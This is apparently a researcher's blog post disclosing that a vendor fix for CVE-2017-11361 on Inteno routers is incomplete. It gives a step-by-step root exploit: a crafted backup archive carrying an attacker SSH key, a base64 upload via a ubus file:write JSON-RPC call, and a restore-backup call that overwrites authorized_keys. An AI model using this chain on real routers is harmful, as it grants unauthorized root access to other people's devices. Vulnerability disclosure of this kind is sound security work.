CVE-2017-11361 post-remedy: Is it fixed?

A couple of days ago I wrote about CVE-2017-11361, which described abusing misconfigured Access Control Lists to gain root access to Inteno routers. Inteno has recently deployed a quick-fix, removing access to the file:read and all router.dropbear calls. Does this stop people with malicious intent from accessing the router?

The answer is no - after having a quick look, I discovered there are still some ubus calls that a hacker can abuse to gain root access to the system.

The problematic call in question is juci.sysupgrade:restore-backup. This call is meant to be used with juci.sysupgrade:create-backup to enable the ability to create and restore backups of configuration files. A quick peek inside the juci.sysupgrade script, which resides in /usr/libexec/rpcd/, reveals that the two calls in question simply execute sysupgrade --create-backup /tmp/backup.tar.gz and sysupgrade --restore-backup /tmp/backup.tar.gz respectively. sysupgrade is a useful tool built into OpenWRT, which allows the user to upgrade the system image and perform various backup tasks. However, it has no way of checking whether backups were generated on the same system. This is abusable by a hacker - by replacing /tmp/backup.tar.gz with a specially crafted tar.gz archive and calling juci.sysupgrade:restore-backup, the hacker can replace any file they wish on the filesystem.

As an example, I'll be replacing the /etc/dropbear/authorized_keys file with my own, allowing me to SSH into the router.

The first step is to generate a malicious backup.tar.gz archive. I created a directory with the following structure:

└── dropbear
    └── authorized_keys

The authorized_keys file simply contained one line - the public SSH key I wished to add to the router. Time to tar it:

$ tar -cvzf backup.tar.gz etc/

Now that we have a malicious archive, how do we get it on the router? As mentioned previously, Inteno removed the ability to access file:read, however, we can still call file:write and luckily for us, the /tmp/ directory is writable. The file:write also supports base64 encoding, which we will be using to place the archive on the filesystem:

$ base64 backup.tar.gz

Assuming we already have a valid session, we can call:

>{"jsonrpc":"2.0","method":"call","params":["eb3bd8e7beb01338b21533a89b678971","file", "write", {"path":"/tmp/backup.tar.gz", "data":"H4sIAJi7cVkAA+3TT4+aQByAYc/9FN5NA8OfEQ57ECUuKiiKBffSDCMroDg4gCCfvuzeukm3PaxtNv09hxkIk8wk7xCVVOjdmdgZqurr3Hk7vz4jGckKUpAod+u6UZJ6ffXeB3tRFSXh/X6PM1a+t+533z+pqOu/5ywPI8LvdRH+uL8sqwi99JeQpED/v+Gn/qQqY8aTNtp/P0a34qP2eAmMFeWX/bGI3/RXJdz9/+JHHeA9/3n/ooi/8oL0Rx1DdloyRjcqma+vM7cbXXPEs5JSYYnPymGbVnroal4u5eJ+bAuokLy2qrnVBrv0cFUe18UTc8jpNNCMQZaHuz3ji1tAxiMxz2e67vGqrTF9oiZudMu0aWBdJ6zK7PhYs/ZyxkQRclLPpdN4pOT60dttkmyJ3STxFtvpZHKYIq12pCBFY/85C9BUXbO5NGkbgdJUaAJj2GZIcePWd7bmbRxuJu1jXIhNgVfyM8ZVOkj9k+LNHgMj9AfGyM/Vhu/4mqzza7t0ppZnnax4kTXxsFwt4/m+1sNDo11dJpsTjASa+PXK8Ae3MvScgsjCoNb8bw67LQxTO0TH8zMLlItGHItayUa2E3NKlyKz61SPfDtYuVvOLoTaU9l9eOgXx+gUlez85V/fAgAAAAAAAAAAAAAAAAAAAAAAAAB8Zj8AvX+hSAAoAAA=", "base64": true}],"id":4}

The response message 0 indicates a successful write. Now to place the malicious file in the correct place in the filesystem:

>{"jsonrpc":"2.0","method":"call","params":["eb3bd8e7beb01338b21533a89b678971","juci.sysupgrade", "restore-backup", {}],"id":5}

Once again the router responds with the response message 0.

We can now successfully log in using the key we placed.

Author | nns

Ethical Hacking and Cybersecurity professional with a special interest for hardware hacking, IoT and Linux/GNU.